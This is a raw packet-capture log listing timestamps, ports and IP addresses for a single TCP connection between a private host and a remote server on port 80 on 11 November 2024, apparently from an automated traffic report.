Nov 11, 2024 19:52:02.671776056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671780109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671798944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671799898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671816111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671818018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671829939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671838045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671842098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671849966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671854973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671866894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671869040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671879053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671881914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671890020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671901941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671909094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671922922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671924114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.671951056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.671961069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.711258888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711268902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711294889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711306095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711339951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711350918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711359978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.711361885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711421013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.711525917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711536884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711545944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711556911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711566925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.711584091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711595058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711599112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.711605072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711631060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711639881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.711642981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711652040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711663961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711673975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.711673975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711688042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711692095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.711699009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711711884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711721897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.711724043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711734056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711744070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711765051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.711781025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711791992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.711792946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711803913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711815119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711821079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.711827040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711841106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.711841106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711867094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711879015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711883068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.711889982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711913109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711913109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.711924076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711935997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.711939096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711950064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711961031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711968899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.711972952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711982965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.711992979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.711994886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712006092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712008953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.712018013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712028980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712030888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.712039948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712054014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.712069988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.712096930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.712156057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712194920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.712203026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712213993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712240934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.712269068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.712306976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712317944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712330103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712342024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712351084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.712353945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712364912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712376118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712384939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.712409019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.712428093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.712464094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712479115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712498903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712501049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.712515116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712531090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712532043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.712547064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712555885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.712558985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712569952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712582111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712584972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.712594986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712605000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.712608099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712622881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712636948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.712639093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712651968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.712668896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.712703943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.742408991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.742433071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.742444992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.742491007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.742501020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.742515087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.742541075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.742558956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.774246931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.774285078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.774316072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.774328947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.774333000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.774341106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.774354935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.774374008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.774404049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.774422884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.774461031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.774466991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.774486065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.774499893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.774513006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.774533033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.779483080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779541016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779544115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.779560089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779591084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.779593945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779597998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.779606104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779617071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779628992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.779629946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779648066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.779676914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.779742002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779752970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779762983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779774904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779784918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.779786110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779797077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779808998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779813051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.779819965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779829979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.779833078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779844046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.779871941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779871941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.779882908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779894114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779906034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779906988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.779917002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779930115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779933929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.779941082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779952049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779958963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.779964924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.779989004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.779994965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780013084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780025959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780038118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780049086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780049086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780061007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780072927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780081034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780083895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780095100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780103922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780105114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780117035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780132055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780139923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780139923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780153036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780164003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780174017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780175924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780186892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780206919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780220032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780335903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780348063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780356884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780369043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780375957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780379057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780390024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780395985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780400038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780411959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780422926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780424118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780442953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780452013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780462027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780472040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780483961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780491114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780498981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780509949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780519962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780524969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780530930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780531883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780544043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780550957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780554056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780565977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780574083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780579090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780585051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780618906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780618906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780631065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780642033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780652046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780656099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780663967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780675888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780679941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780687094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780698061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780703068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780709028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780726910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780730963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780739069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780750036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780769110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780770063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780786991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780790091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780798912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780805111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780811071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780817032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780822992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780834913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780838013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780847073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780848026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780858040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780865908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780869007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780880928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780891895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780895948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780915022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780920982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780930042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780939102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780950069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780953884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780961037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780972004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780973911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.780982018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.780992985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781012058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781019926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781023026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781033993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781049967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781056881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781066895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781073093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781076908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781089067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781100988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781101942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781111956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781116962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781124115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781135082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781143904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781147003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781157970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781167984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781173944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781194925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781197071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781208992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781214952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781222105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781233072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781236887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781243086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781246901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781271935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781271935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781284094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781294107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781296968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781306028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781322002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781322002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781333923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781342983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781344891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781352997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781358957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.781366110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.781390905 CET	80	49704	185.215.113.206	192.168.2.5
